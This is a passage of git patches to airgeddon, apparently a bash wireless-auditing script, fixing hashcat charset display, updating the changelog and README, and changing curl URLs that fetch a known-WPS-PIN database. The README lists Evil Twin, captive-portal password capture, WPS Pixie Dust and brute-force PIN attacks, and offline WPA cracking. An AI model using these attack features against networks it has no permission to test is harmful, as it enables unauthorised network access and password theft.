showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') + if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then + showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') + else + showcharset+=$(hashcat --help | egrep "^ ${item#'?'} \|" | awk '{print $3}') + fi done ;; *) - showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}') + if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then + showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}') + else + showcharset=$(hashcat --help | egrep "^ ${charset_tmp#'?'} \|" | awk '{print $3}') + fi ;; esac ;; @@ -9103,8 +9111,10 @@ function iwconfig_fix() { function set_hashcat_parameters() { hashcat_fix="" + hashcat_charset_fix_needed=0 if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then hashcat_fix=" -D 1 --force" + hashcat_charset_fix_needed=1 fi } diff --git a/changelog.txt b/changelog.txt index c61a1c254..c4c99b703 100644 --- a/changelog.txt +++ b/changelog.txt @@ -3,6 +3,7 @@ Integrated online PIN database for "known WPS PINs attack" (reaver and bully) Zhao Chunsheng algorithm integrated (computepin) Stefan Viehböck algorithm integrated (easybox) Some language strings changed +Fixed bug showing selected charset for hashcat v3.0 on bruteforce offline decrypt attack 5.01 WPS bruteforce PIN attacks (reaver and bully) From 3da209af8ce6a1ba07314351bd42a1a13796e259 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 10 Dec 2016 21:07:11 +0100 Subject: [PATCH 22/25] Updated README regarding WPS features --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b2bcc47ad..429a7e08d 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ This is a multi-use bash script for Linux systems to audit wireless networks.
- Offline password decrypting on WPA/WPA2 captured files (dictionary, bruteforce and rule based).
- 4 Evil Twin attacks: Evil Twin with integrated sniffing, sslstrip mode, "only AP" version to sniff using external sniffer and "black hole" captive portal to capture wifi passwords.
-- WPS features: WPS scanning (wash). WPS Custom PIN association. WPS Pixie Dust attacks integrated using reaver and bully. WPS bruteforce PIN attacks. WPS online PIN database search for "known WPS PINs attack" and integration of the most common PIN generation algorithms
+- WPS features: WPS scanning (wash). Reaver and Bully attacks: WPS Custom PIN association, Pixie Dust attacks, bruteforce PIN attacks. WPS online PIN database search for "known WPS PINs attack" and integration of the most common PIN generation algorithms.
- Compatibility with many Linux distros (see requirements section).
- Easy targeting and selection in every section.
- Drag and drop files on console window for entering file paths.
From 764ed5a28d2d2cc35b6f01d37887293a2ced32ab Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 10 Dec 2016 21:08:22 +0100 Subject: [PATCH 23/25] Deleted PoT mark on french #390 string. Is already translated --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 07bf66263..0c872591a 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3615,7 +3615,7 @@ function language_strings() { arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" - arr["FRENCH",390]="${pending_of_translation} Certains points d'accès n'ont que le WPS PBC (Push Button Connect) activé et vous ne pourrez pas vous connecter par WPS sans presser le bouton du routeur" + arr["FRENCH",390]="Certains points d'accès n'ont que le WPS PBC (Push Button Connect) activé et vous ne pourrez pas vous connecter par WPS sans presser le bouton du routeur" arr["CATALAN",390]="${pending_of_translation} Alguns punts d'accés tenen activat només PBC (Push Button Connect) i no podràs connectar per WPS si no es prem el botó físic de la mateixa" arr["PORTUGUESE",390]="Alguns pontos de acesso têm ativo somente o PBC (Push Button Connect) em que você não pode se conectar via WPS se o botão físico não for pressionado" arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" From 8d9ac9721477cb37d92420265109491feaa56b7c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 10 Dec 2016 21:32:08 +0100 Subject: [PATCH 24/25] Updated checksum.txt and improvement to get always first row of the file while getting checksum --- airgeddon.sh | 8 ++++---- pindb_checksum.txt | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 0c872591a..77be47e6a 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9248,8 +9248,8 @@ function check_pins_database_file() { function download_pins_database_file() { #TODO change url before pull requests - remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/known_pins.db 2> /dev/null) - #remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) + remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/known_pins.db 2> /dev/null | head -n 1) + #remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null | head -n 1) if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" @@ -9278,8 +9278,8 @@ function get_local_pin_dbfile_checksum() { function get_remote_pin_dbfile_checksum() { #TODO change url before pull requests - remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/pindb_checksum.txt 2> /dev/null) - #remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null) + remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/pindb_checksum.txt 2> /dev/null | head -n 1) + #remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then return 0 diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 5eadeaa76..dbc3abebf 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -7ebcb4e24c0ad34756ee7b0a6ee96fe7 \ No newline at end of file +0eae6f8360941c69a5d1814a4cd78f6f From 0e93e4ca0e4c61ae38a923fe7d18b0c8947d8074 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 10 Dec 2016 21:50:23 +0100 Subject: [PATCH 25/25] Updated urls to master pindb file. --- airgeddon.sh | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 77be47e6a..2e9619502 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9247,9 +9247,7 @@ function check_pins_database_file() { #Download the pins database file function download_pins_database_file() { - #TODO change url before pull requests - remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/known_pins.db 2> /dev/null | head -n 1) - #remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null | head -n 1) + remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null | head -n 1) if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" @@ -9277,9 +9275,7 @@ function get_local_pin_dbfile_checksum() { #Get the checksum for remote pin database file function get_remote_pin_dbfile_checksum() { - #TODO change url before pull requests - remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/pindb_checksum.txt 2> /dev/null | head -n 1) - #remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) + remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then return 0